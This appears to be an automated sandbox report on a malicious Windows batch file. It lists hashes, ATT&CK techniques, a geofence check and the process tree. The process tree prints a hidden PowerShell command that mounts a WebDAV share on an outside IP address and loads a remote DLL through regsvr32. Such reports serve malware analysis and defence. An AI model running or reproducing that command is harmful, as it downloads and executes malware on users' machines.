884cf1647d77c51bc1a1e949dd771db36268f5a99ade6ea8ed855f012f28fbc7

Analysis

max time kernel
100s
max time network
101s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
20/07/2024, 19:35

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General

Target

2438777731937615688.bat
Size

17KB
MD5

606a1a5e5bd7f12afe19126107ae58a8
SHA1

5481eee1abb2b712f6745a28d66d5026e8033286
SHA256

884cf1647d77c51bc1a1e949dd771db36268f5a99ade6ea8ed855f012f28fbc7
SHA512

c2b4e179cf03b05480bd80db2e01474a43084670285048b462bc80f5db0f4a4ef5ccb35d7eae653d8ce8686e07d3b7884fb2e42fa35edf29cccf9516a3eb062b
SSDEEP

192:hgb5J8bH/1Pt5COiA525NRGJwuBYtaFhhOEOlQHFZJuaUvuOmCAeTjmb3iaoMkkN:Gb5CH/htqi0RGeta3OqFcmCAeTjs4kXd

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1084	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1084	powershell.exe
1084	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1084	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2036	wordpad.exe
2036	wordpad.exe
2036	wordpad.exe
2036	wordpad.exe
2036	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4212 wrote to memory of 2036	4212	cmd.exe	86
PID 4212 wrote to memory of 2036	4212	cmd.exe	86
PID 4212 wrote to memory of 1084	4212	cmd.exe	88
PID 4212 wrote to memory of 1084	4212	cmd.exe	88
PID 1084 wrote to memory of 4500	1084	powershell.exe	90
PID 1084 wrote to memory of 4500	1084	powershell.exe	90
PID 1084 wrote to memory of 3728	1084	powershell.exe	91
PID 1084 wrote to memory of 3728	1084	powershell.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2438777731937615688.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4212
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\236742703976.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1084
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:4500
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\236742703976.dll
    3⤵
    PID:3728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:2448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_exmabttz.vop.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1084-0-0x000001CA3C340000-0x000001CA3C362000-memory.dmp

Filesize
136KB

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